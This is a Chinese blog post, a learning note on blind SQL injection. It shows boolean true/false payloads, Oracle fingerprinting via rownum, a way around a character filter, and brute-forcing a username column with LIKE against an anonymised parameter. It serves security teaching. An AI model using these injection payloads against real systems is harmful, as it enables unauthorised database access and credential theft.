查看原文
其他

Sqli学习笔记系列---一次艰难的Sqli

richardo1o1 迪哥讲事 2023-07-11

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

正文

这里记录一下一些小技巧: 替换 路径/参数

在以下接口的的“idNumber”参数上找到注入点:

/foo/?theName=YAP&idNumber=248001[注入点]

识别是否执行成功true/false的payload

/foo/?theName=YAP&idNumber=248001'+AND+'1'='1 TRUE

/foo/?theName=YAP&idNumber=248001'+AND+'2'='1 FALSE

也可以使用管道操作:

/foo/?theName=YAP&idNumber=248'||'001 TRUE
/foo/?theName=YAP&idNumber=24'||'8'||'001 TRUE
/foo/?theName=YAP&idNumber=24'||'X'||'001 FALSE

有了上面这些条件,就能够将此应用程序使用的数据库缩小到Oracle、PosgreSQL、IBM DB2或Informix。

尝试这个技巧:

/foo/?theName=YAP&idNumber=248'||<利用暴力破解来注入任何SQL函数>||'001

发现“rownum”被接受了,这表明是Oracle。为了确认,查询如下信息:

/foo/?theName=YAP&idNumber=24800'||rownum||'

发现如下信息:

有点意思,现在我们如何从注入中提取数据呢?应用程序似乎过滤/替换了以下字符

_ ( ) + . whitespaces

一种使用有效负载提取数据的方法如下:

/foo/?theName=YAP&idNumber=248'||<bruteforce all column_name here>||'001 - We found few column names which one of it was "username"

最后一步是:

/foo/?theName=YAP&idNumber=248001'and''||username||''like'<bruteforce-character>%

最后得出用户名.

总结

主要是要会利用暴力破解的方法来进行注入

最后祝大家中秋节快乐!!!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存